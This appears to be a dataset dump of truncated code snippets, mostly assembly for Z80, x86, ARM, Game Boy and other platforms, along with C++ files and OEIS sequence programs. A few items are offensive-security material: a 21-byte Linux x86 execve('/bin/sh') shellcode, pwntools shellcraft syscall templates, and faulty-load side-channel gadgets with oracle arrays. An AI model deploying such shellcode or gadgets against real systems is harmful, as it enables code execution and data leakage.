text
stringlengths
1
1.05M
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rax push %rdi push %rsi // Faulty Load lea addresses_RW+0x52a6, %r15 nop xor %r12, %r12 mov (%r15), %r8 lea oracles, %rax and $0xff, %r8 shlq $12, %r8 mov (%rax,%r8,1), %r8 pop %rsi pop %rdi po...
; double fma(double x, double y, double z) SECTION code_fp_math48 PUBLIC cm48_sccz80_fma EXTERN am48_fma, am48_dloadb cm48_sccz80_fma: ; stack = x, y, z, ret ld hl,7 add hl,sp call am48_dloadb ; AC'= z ld hl,13 add hl,sp call am48_dloadb ; AC = z ; AC'= y ...
/******************************************************************************** * * * HSGIL - Handy Scalable Graphics Integration Library * * Copyright (c) 2020 Adrian Bedregal and Gabriela Chipana ...
## ditto.asm ## ## See homework for instructions ########################### ## Text Section ## ########################### .text .globl main main: # Entry point la $a0, buf li $a1, 640 li $a2, 60 jal hexdump exit: li $v0, 10 # Exit Syscall syscall ### ## Print Hex Function ...
; void *zx_saddrpleft(void *saddr, uchar bitmask) SECTION code_clib SECTION code_arch PUBLIC zx_saddrpleft_callee EXTERN asm_zx_saddrpleft zx_saddrpleft_callee: pop hl pop de ex (sp),hl jp asm_zx_saddrpleft
#include "stdafx.h" #include "CppUnitTest.h" #include "customformulas.h" using namespace Microsoft::VisualStudio::CppUnitTestFramework; TEST_CLASS(CleanNulls_Tests) { public: TEST_METHOD(NullStringReturnsEmpty) { FormulaAddInData *data = CreateNullData(2); FormulaAddInData *pReturnValue = CreateReturnValue(); ...
; A147974: n^3-((n-1)^3+(n-2)^3+(n-3)^3). ; 10,8,18,28,26,0,-62,-172,-342,-584,-910,-1332,-1862,-2512,-3294,-4220,-5302,-6552,-7982,-9604,-11430,-13472,-15742,-18252,-21014,-24040,-27342,-30932,-34822,-39024,-43550,-48412,-53622,-59192,-65134,-71460 mov $2,5 sub $2,$0 mov $3,$0 sub $3,1 mul $2,$3 sub $2,1 mul $0,$2 ad...
;INTERRUPT VERIFICATION ;05/08/2007 ;TESTED AND VERIFIED WITH AT89C52 ;PROGRAM RUN ----- SUCCESS. ORG 0000H SJMP 0030H ORG 0013H LJMP 00FFH ORG 0030H MOV IE,#84H MOV IP,#04H MOV TCON,#08H START: SJMP START ORG 00FFH ISR: NEXTA: MOV P2,#01H; coil A + ACALL DELAY MOV P2,#04H; coil B + ACALL DELAY MOV P2,#0...
sd, F1, 6(R1)
; A179635: Median of the digits in n (rounding down). ; 1,2,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,0 lpb $0 add $2,1 add $0,$2 div $0,10 sub $0,1 sub $2,$...
; A142370: Primes congruent to 19 mod 47. ; Submitted by Jon Maiga ; 19,113,677,1429,1523,1993,2087,2557,3121,3779,3967,4813,5189,5471,5659,6317,6599,7069,7351,7727,8009,8291,8573,8761,9043,9137,9419,10453,11299,11393,11863,12239,13367,13649,13931,14401,14683,16187,16657,17033,17597,18443,18913,19289,19477,19571,19759,...
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include <cstddef> #include <iomanip> #include <sstream> #include "boost/mp11.hpp" #include "gsl/gsl" #include "core/common/common.h" #include "core/common/type_list.h" #include "core/framework/data_types.h" #include "co...
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld a, ff ldff(45), a ld b, 91 call lwaitly_b xor a, a ldff(40), a ld hl, fea0 lbegin_fill_oam: dec l ld(hl), a jrnz lbegin_fill_oam ld d, 10 ld a, d ld(hl), a inc l ld a, 08 ld(hl), a inc l ld a, 40 ldff(41), a ...
.text .syntax unified .thumb ands r0,r1 eors r0,r2 lsls r0,r3 lsrs r0,r4 adds r0,r1,r2 ands r5, r0 eors r5, r0 lsls r5, r0 lsrs r5, r0 asrs r5, r0 adcs r5, r0 sbcs r5, r0 rors r5, r0 tst r5, r0 rsbs r5, r0, #0 cmp r5, r0 cmn r5, r0 orrs r5, r0 ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x19236, %r15 dec %r11 vmovups (%r15), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r14 nop inc %rbp lea addresses_UC_ht+0xbb8e, %rsi lea addresses_normal_ht+0x1488a...
#include "http_parser.h" //#include "Common.h" #include <malloc.h> #define NDEBUG #include <assert.h> #include <string.h> //#include <stdio.h> #include <stdlib.h> static http_parser *parser = nullptr; static int currently_parsing_eof; #define MAX_HEADERS 13 #define MAX_ELEMENT_SIZE 2048 #define MAX_CHUNKS 16 #defi...
#include <pybind11/eigen.h> #include <pybind11/pybind11.h> #include <pybind11/stl.h> #include "kcp/keypoint.hpp" #include "kcp/solver.hpp" #define STRINGIFY(x) #x #define MACRO_STRINGIFY(x) STRINGIFY(x) namespace py = pybind11; PYBIND11_MODULE(pykcp, m) { py::class_<kcp::Correspondences>(m, "Correspondences") ...
;/* ; * FreeRTOS V202111.00 ; * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. ; * ; * Permission is hereby granted, free of charge, to any person obtaining a copy of ; * this software and associated documentation files (the "Software"), to deal in ; * the Software without restriction, inc...
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "extensions/browser/api/power/power_api.h" #include <deque> #include <string> #include "base/basictypes.h" #include "base/memory/ref_counted.h"...
; A164117: Expansion of (1 - x) * (1 - x^10) / ((1 - x^2) * (1 - x^4) * (1 - x^5)) in powers of x. ; 1,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1,2,-1,1,-1...
#include <memory> #include <string> #include <utility> #include <vector> #include "benchmark_util/data_table_benchmark_util.h" #include "binder/bind_node_visitor.h" #include "binder/sql_node_visitor.h" #include "catalog/catalog.h" #include "catalog/postgres/pg_namespace.h" #include "loggers/optimizer_logger.h" #includ...
; Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes ; Date : 10 Feb 2011 ; Author : kernel_panik ; Thanks : cOokie, agix, antrhacks global _start section .text _start: xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; nib/ mov ebx, esp mov al, 11 int 0x...
# mp_limb_t mulredc20(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y, # const mp_limb_t *m, mp_limb_t inv_m); # # Stack: # inv_m ## parameters # m # y # x # z (4*(2k+7))%esp # ??? (1 limb???) # ebp ## pushed registers (4*(2k+5))%esp # ed...
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publi...
/** * Copyright (c) 2019 DENSO CORPORATION. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
//------------------------------------------------------------------------------ // gamepad.cc // (C) 2007 Radon Labs GmbH // (C) 2013-2020 Individual contributors, see AUTHORS file //------------------------------------------------------------------------------ #include "render/stdneb.h" #include "input/gamepad.h" ...
; void SMS_VRAMmemsetW(unsigned int dst,unsigned int value,unsigned int size) SECTION code_clib SECTION code_SMSlib PUBLIC _SMS_VRAMmemsetW_callee EXTERN asm_SMSlib_VRAMmemsetW _SMS_VRAMmemsetW_callee: pop af pop hl pop de pop bc push af jp asm_SMSlib_VRAMmemsetW
; A093033: Number of interior balls in a truncated octahedral arrangement. ; 6,79,314,807,1654,2951,4794,7279,10502,14559,19546,25559,32694,41047,50714,61791,74374,88559,104442,122119,141686,163239,186874,212687,240774,271231,304154,339639,377782,418679,462426,509119,558854,611727,667834,727271,790134,856519,926522,100...
/* * Copyright 2004 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing ...
; A061402: a(n) = floor(n*sqrt(e)). ; 0,1,3,4,6,8,9,11,13,14,16,18,19,21,23,24,26,28,29,31,32,34,36,37,39,41,42,44,46,47,49,51,52,54,56,57,59,61,62,64,65,67,69,70,72,74,75,77,79,80,82,84,85,87,89,90,92,93,95,97,98,100,102,103,105,107,108,110,112,113,115,117,118,120,122,123,125,126,128,130,131,133,135,136,138,140,141,14...
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ;;; This is the critical error handler. ;;; It is really dumb--all critical errors are Failed ;;; It is up to the Int21 caller to figure out what went...
CatchTutorial:: ld a, [wBattleType] dec a ld c, a ld hl, .dw ld b, 0 add hl, bc add hl, bc ld a, [hli] ld h, [hl] ld l, a jp hl .dw dw .DudeTutorial dw .DudeTutorial dw .DudeTutorial .DudeTutorial: ; Back up your name to your Mom's name. ld hl, wPlayerName ld de, wUnusedMapBuffer ld bc, NAME_LENGTH ...
.data var0: 100 var1: 200 var3: .text lw t0, var0 lw t1, var1 sub t2, t1, t0 add t3, t1, t2 add t3, t3, t3 la t4, var3 sw t3, 0(t4) lw t4, 0(t4) end_loop: j end_loop
; A086029: a(n) = Sum_{i=1..n} C(i+6,7)^2. ; 1,65,1361,15761,124661,751925,3696581,15475205,56884430,187758030,565982734,1578749710,4117700254,10127050654,23648089054,52733344990,112835299639,232623278455,463695768455,896396608455,1684993889355,3086944610955,5522978819355,9667460459355,16582125139980,27911111752716,461...
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rdi push %rsi // Faulty Load lea addresses_UC+0xea92, %r14 clflush (%r14) nop nop nop and $24621, %r12 mov (%r14), %r8d lea oracles, %r12 and $0xff, %r8 shlq $12, %r8 mov (%r12,%r8,1), %r8 pop ...
//===--- IncludeFixer.cpp ----------------------------------------*- C++-*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------...
; ; This file is a part of TTMath Bignum Library ; and is distributed under the 3-Clause BSD Licence. ; Author: Christian Kaiser <chk@online.de>, Tomasz Sowa <t.sowa@ttmath.org> ; ; ; Copyright (c) 2009-2017, Christian Kaiser, Tomasz Sowa ; All rights reserved. ; ; Redistribution and use in source and bina...
; A336286: The hafnian of a symmetric Toeplitz matrix of order 2n, n>=2 with the first row (0,1,2,...,2,0); a(0)=a(1)=1. ; Submitted by Christian Krause ; 1,1,5,57,859,16087,362781,9593105,291347603,9998539791,382732896853,16169762600329,747423640472235,37523173542935207,2033249827596197549,118278700627740322977,735220...
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: GeoWorks Poker FILE: payoffDisplay.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 12/90 Initial Version DESCRIPTION...
// push constant 17: @17 D=A @SP A=M M=D @SP M=M+1 // push constant 17: @17 D=A @SP A=M M=D @SP M=M+1 // eq: @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M D=M-D @TRUE0 D;JEQ D=0 @CONT0 0;JMP (TRUE0) D=-1 @CONT0 0;JMP (CONT0) @SP A=M M=D @SP M=M+1 // push constant 17: @17 D=A @SP A=M M=D @SP M=M+1 // push constant 16: @1...
// // Original Author: Alexx Perloff Feb 22, 2017 // $Id: JetCorrectorParameters.cc,v 1.20 2012/03/01 18:24:53 srappocc Exp $ // // Helper class for JetCorrectorParameters // #include "CondFormats/JetMETObjects/interface/JetCorrectorParametersHelper.h" #include <sstream> #include <cstdlib> #include <algorithm> #includ...
[BITS 32] ; 程序中包含函数名 GLOBAL io_hlt, io_cli, io_sti, io_stihlt GLOBAL io_in8, io_in16, io_in32 GLOBAL io_out8, io_out16, io_out32 GLOBAL io_load_eflags, io_store_eflags [SECTION .text] io_hlt: ; void io_hlt(void); HLT RET io_cli: ; void io_cli(void); CLI RET io_s...
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE190_Integer_Overflow__int_connect_socket_square_82_goodG2B.cpp Label Definition File: CWE190_Integer_Overflow__int.label.xml Template File: sources-sinks-82_goodG2B.tmpl.cpp */ /* * @description * CWE: 190 Integer Overflow * BadSource: connect_socket Read data...
SECTION "sec", ROM0 db X X = 2
; A188014: a(n) = [nr]-[nr-kr]-[kr], where r=(1+sqrt(5))/2, k=4, [ ]=floor. ; 0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,...
/* When Panda is Life ! _,add8ba, ,d888888888b, d8888888888888b _,ad8ba,_ d888888888888888) ,d888888888b, ...
.MODEL flat, C context STRUCT dwEax DWORD ? dwEbx DWORD ? dwEcx DWORD ? dwEdx DWORD ? dwEsi DWORD ? dwEdi DWORD ? dwEbp DWORD ? dwEsp DWORD ? dwEip DWORD ? dwReturnAddress DWORD ? dwExceptionComparator DWORD ? dwExceptionCode DWORD ? EFlags DWORD ? context ENDS floatcontext STRUCT iXmm0 XMMWORD ? iXmm...
; Rectangle, Intervals and Points ; 05.2006 aralbrec SECTION code_clib PUBLIC RIntersectIval16 ; Returns the intersection of two 16-bit intervals. ; Since intervals can wrap across the 0-65535 boundary, ; the result of the intersection can be the empty ; interval (no intersection), a single interval or ; two interva...
; Various sub-routines that will be useful to the boot loader code ; Output Carriage-Return/Line-Feed (CRLF) sequence to screen using BIOS Console_Write_CRLF: mov ah, 0Eh ; Output CR mov al, 0Dh int 10h mov al, 0Ah ; Output LF int 10h ret ; Write to the console using ...
SaffronMart_h: db MART ; tileset db SAFFRON_MART_HEIGHT, SAFFRON_MART_WIDTH ; dimensions (y, x) dw SaffronMart_Blocks ; blocks dw SaffronMart_TextPointers ; texts dw SaffronMart_Script ; scripts db 0 ; connections dw SaffronMart_Object ; objects
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args="out_fd, in_fd, offset, count"/> <%docstring> Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information. Arguments: out_fd(int): out_fd in_fd(int): in_fd offset(off64_t): offset count(size_t): count </%docstring> ...
class UF { public: UF(int n) : id(n) { iota(begin(id), end(id), 0); } void union_(int u, int v) { id[find(u)] = find(v); } int find(int u) { return id[u] == u ? u : id[u] = find(id[u]); } private: vector<int> id; }; class Solution { public: bool equationsPossible(vector<string>& equat...
; particle fx ; less dodgy than before but a bit slow ; might be a race against raster with back to front buffer copy? .start_fx_particles MODE7_particles_addr = MODE7_VRAM_SHADOW PARTICLES_max = 128 _PARTICLES_ENABLE_BANG = TRUE _PARTICLES_ENABLE_SPIN = TRUE _PARTICLES_ENABLE_SPURT = TRUE _PARTICLES_ENABLE_DRIP = ...
//===----------------------------------------------------------------------===// // // PelotonDB // // tile_group.cpp // // Identification: src/backend/storage/tile_group.cpp // // Copyright (c) 2015, Carnegie Mellon University Database Group // //===---------------------------------------------...
# store and load floats li x1, 123.456 sw x1, 100(x0) li x1, 0.123 sw x1, 104(x0) lw x2, 100(x0) outr.s x2 lw x2, 104(x0) outr.s x2 halt
; A074742: a(n) = (n^3 + 6n^2 - n + 12)/6. ; 2,3,7,15,28,47,73,107,150,203,267,343,432,535,653,787,938,1107,1295,1503,1732,1983,2257,2555,2878,3227,3603,4007,4440,4903,5397,5923,6482,7075,7703,8367,9068,9807,10585,11403,12262,13163,14107,15095,16128,17207,18333,19507,20730,22003,23327,24703,26132,27615,29153,30747,3239...
; A255178: Second differences of eighth powers (A001016). ; 1,254,6050,52670,266114,963902,2796194,6927230,15257090,30683774,57405602,101263934,170126210,274309310,427043234,644975102,948713474,1363412990,1919399330,2652834494,3606422402,4830154814,6382097570,8329217150,10748247554,13726597502,17363297954,21769989950,2...
; A160383: Number of 3's in base-4 representation of n. ; 0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,2,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,2,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,2,2,2,2,3,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,2,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,2,0,0,0,1,0,0,0,1,0 lpb $0,1 mov $1,$0 mod $1,4 add $$1,3 div $...
SFX_Triangle3_2_Ch7: unknownnoise0x20 2, 145, 40 unknownnoise0x20 0, 113, 24 endchannel
#pragma once #include "ILexer.hpp" namespace ASTCalculator { class Lexer : public ILexer { public: void ScanInput(const std::string& string) const override; double ParseInput() const override; }; } // namespace ASTCalculator
#include "utest.h" #include <iostream> namespace Gwirio { UTest::Run& UTest::add(const String& name, Fp in, Fp out) { _runs.emplace_back(new Run(name,in,out)); return *_runs.back(); } bool UTest::execute() { bool pass {true}; int count {0}; for (auto i = _runs.begin();i!=_runs.end();++i) { ...
//------------------------------------------------------------------------------ // // Copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> // Copyright (c) 2011 - 2016, ARM Limited. All rights reserved. // // This program and the accompanying materials // are licensed and made available under the terms and c...
//============================================================================= // Copyright (c) 2021 Advanced Micro Devices, Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files(the "Software"), to deal // i...
; A168211: a(n) = (9 + 14*n + 23*(-1)^n)/4. ; 0,15,7,22,14,29,21,36,28,43,35,50,42,57,49,64,56,71,63,78,70,85,77,92,84,99,91,106,98,113,105,120,112,127,119,134,126,141,133,148,140,155,147,162,154,169,161,176,168,183,175,190,182,197,189,204,196,211,203,218,210,225,217,232,224,239,231,246,238,253,245,260,252,267,259,274,...
; --COPYRIGHT--,BSD_EX ; Copyright (c) 2012, Texas Instruments Incorporated ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; * Redistributions of source code must retain the above co...
; A170024: Number of reduced words of length n in Coxeter group on 15 generators S_i with relations (S_i)^2 = (S_i S_j)^36 = I. ; 1,15,210,2940,41160,576240,8067360,112943040,1581202560,22136835840,309915701760,4338819824640,60743477544960,850408685629440,11905721598812160,166680102383370240,2333521433367183360 add $0...
// // Created by Yegor Chernyshev on 2/19/21. // #include <iostream> using namespace std; // Function Declarations int fib(int n); int main() { int userNum, factResult; cout<<"Please enter a positive integer: "; cin>>userNum; factResult = fib(userNum); cout<<factResult<<endl; return 0; }...
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D3A move.l D0, (A4)+ 004D3C move.l D0, (A4)+ 0324EE subq.b #1, ($86,A6) 0324F2 bne $3253c [enemy+86] 0324F4 move.b #$1e, ($86,A6) 0324FA move.w ($8,A6), D0 [enemy+86] 056AB6 move.l #$100, ...
#include "Arduino.h" #include "Stepper-MotorControl.h" MotorControl::MotorControl() { _stepPin = STEP_PIN; _directionPin = DIRECTION_PIN; _enablePin = ENABLE_PIN; _ms1Pin = MS1_PIN; _ms2Pin = MS2_PIN; _ms3Pin = MS3_PIN; _stepsPerRound = STEPS_PER_ROUND; _stepDelay = STEP_DELAY; _button1Pin = BUTTON1_PIN; ...
; ========================================================== ; COMMODORE 64 - Examples in 6502 Assembly language ; © Digitsensitive; digit.sensitivee@gmail.com ; Binary Addition ; ========================================================== ; ---------------------------------------------------------- ; Main Loop ; -----...
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * h...
/* ============================================================================== This file is part of the JUCE library. Copyright (c) 2013 - Raw Material Software Ltd. Permission is granted to use this software under the terms of either: a) the GPL v2 (or any later version) b) the Affero GPL...
.globl Tela65 Tela65: addi $10, $0, 0xcff8cf sw $10, 268500992($0) addi $10, $0, 0x00d800 sw $10, 268500996($0) addi $10, $0, 0x00d800 sw $10, 268501000($0) addi $10, $0...
#include<bits/stdc++.h> using namespace std; class Solution { public: vector<vector<int>> combinationSum(vector<int>& candidates, int target) { typedef struct Node { Node* prev; int curIndex; int total; } node; int len = candidates.size(); ...
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args="option, *vararg"/> <%docstring> Invokes the syscall prctl. See 'man 2 prctl' for more information. Arguments: option(int): option vararg(int): vararg </%docstring> ${syscall('SYS_prctl', option, *vararg)}
// seed 4 lbi r0, 249 // icount 0 slbi r0, 215 // icount 1 lbi r1, 114 // icount 2 slbi r1, 67 // icount 3 lbi r2, 215 // icount 4 slbi r2, 132 // icount 5 lbi r3, 110 // icount 6 slbi r3, 28 // icount 7 lbi r4, 140 // icount 8 slbi r4, 115 // icount 9 lbi r5, 114 // icount 10 slbi r5, 92 // icount 11 lbi r6, 144 // ic...
/* * Save decoded Y picture data to frame buffer * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without ...
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS=FLAG_AF|FLAG_OF ;TEST_FILE_META_END ; SHL32rCL mov ebx, 0xbfe mov cl, 0x1 ;TEST_BEGIN_RECORDING shl ebx, cl ;TEST_END_RECORDING
;------------------------------------------------------------------------------ ; GBA Test Collection - GBA test ROMs written in ARM assembly. ; Copyright (C) 2021 Michelle-Marie Schiller ;------------------------------------------------------------------------------ ; header.asm - GBA ROM header. ;-------------------...
PewterGym_h: db GYM ; tileset db PEWTER_GYM_HEIGHT, PEWTER_GYM_WIDTH ; dimensions (y, x) dw PewterGymBlocks, PewterGymTextPointers, PewterGymScript ; blocks, texts, scripts db $00 ; connections dw PewterGymObject ; objects
[bits 16] [org 0x7c00] ; 0x7c00 ; SEGMENT:OFFSET ; adres = SEGMENT * 0x10 + OFFSET ; CS 07c0 0000 ; IP 0000 7c00 ; **** jmp word 0x0000:start start: ; Load from floppy stage 2. ; DL == already set by BIOS ; AX -- 16 bits, AH AL -- 8 bits ; EAX -- AX mov ax, 0x2000 ; 0x2000:0x0...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/autocomplete/builtin_provider.h" #include <algorithm> #include "base/strings/string_util.h" #include "base/strings/utf_stri...
title Path Searching Routines ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1993 ; * All Rights Reserved. ; */ Page ,132 ; PATH.ASM - Code to search the environment for a particular data string, ; and to search the path...
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2016 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must reta...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "apps/app_restore_service_factory.h" #include "apps/app_restore_service.h" #include "chrome/browser/extensions/shell_window_registry.h" #inc...
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size) SECTION code_alloc_malloc PUBLIC _posix_memalign_unlocked EXTERN asm_posix_memalign_unlocked _posix_memalign_unlocked: pop af pop de pop bc pop hl push hl push bc push de push af jp asm_posix_memalign_un...
////////////////////////////////////////////////////////////////////////////// // // (C) Copyright Ion Gaztanaga 2005-2012. Distributed under the Boost // Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/interpr...
; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; shadowssdt asm stub for 5.1.2600-sp2-windows-xp i386 .686 .mmx .xmm .model flat,stdcall option casemap:none option prologue:none option epilogue:none .code ; ULONG __stdcall NtGdiAbortDoc( ULONG arg_01 ); NtGdiAbortDoc PROC STDCALL arg...
; A094014: Expansion of (1-2*x)/(1-8*x^2). ; 1,-2,8,-16,64,-128,512,-1024,4096,-8192,32768,-65536,262144,-524288,2097152,-4194304,16777216,-33554432,134217728,-268435456,1073741824,-2147483648,8589934592,-17179869184,68719476736,-137438953472 mov $1,$0 div $1,2 mov $2,-2 pow $2,$0 mov $0,2 pow $0,$1 mul $0,$2
// Copyright (C) 2020 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #pragma once #include <string> #include <memory> #include "shared_test_classes/base/low_precision_transformations/layer_transformation.hpp" #include "lpt_ngraph_functions/common/fake_quantize_on_data.hpp" using namespace ngraph; name...
// Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #include <boost/mpl/distanc...
; --------------------------------------------------------------------------- ; Object 26 - monitors ; --------------------------------------------------------------------------- Monitor: moveq #0,d0 move.b obRoutine(a0),d0 move.w Mon_Index(pc,d0.w),d1 jmp Mon_Index(pc,d1.w) ; =================================...
db 0 ; species ID placeholder db 50, 75, 35, 40, 70, 30 ; hp atk def spd sat sdf db GRASS, POISON ; type db 255 ; catch rate db 84 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/bellsprout/front.dimensions" db GROWTH_MEDIUM_...
<% from pwnlib.shellcraft.i386.linux import syscall %> <%page args="fdin, offin, fdout, offout, length, flags"/> <%docstring> Invokes the syscall splice. See 'man 2 splice' for more information. Arguments: fdin(int): fdin offin(off64_t): offin fdout(int): fdout offout(off64_t): offout len(siz...
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ;IN USING, DISPLAYING, ...
; ; Unified status room source for Shock Lobster ; ; Copyright 2021 Dave VanEe ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software...
;; ;; Copyright (c) 2017-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and...
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ...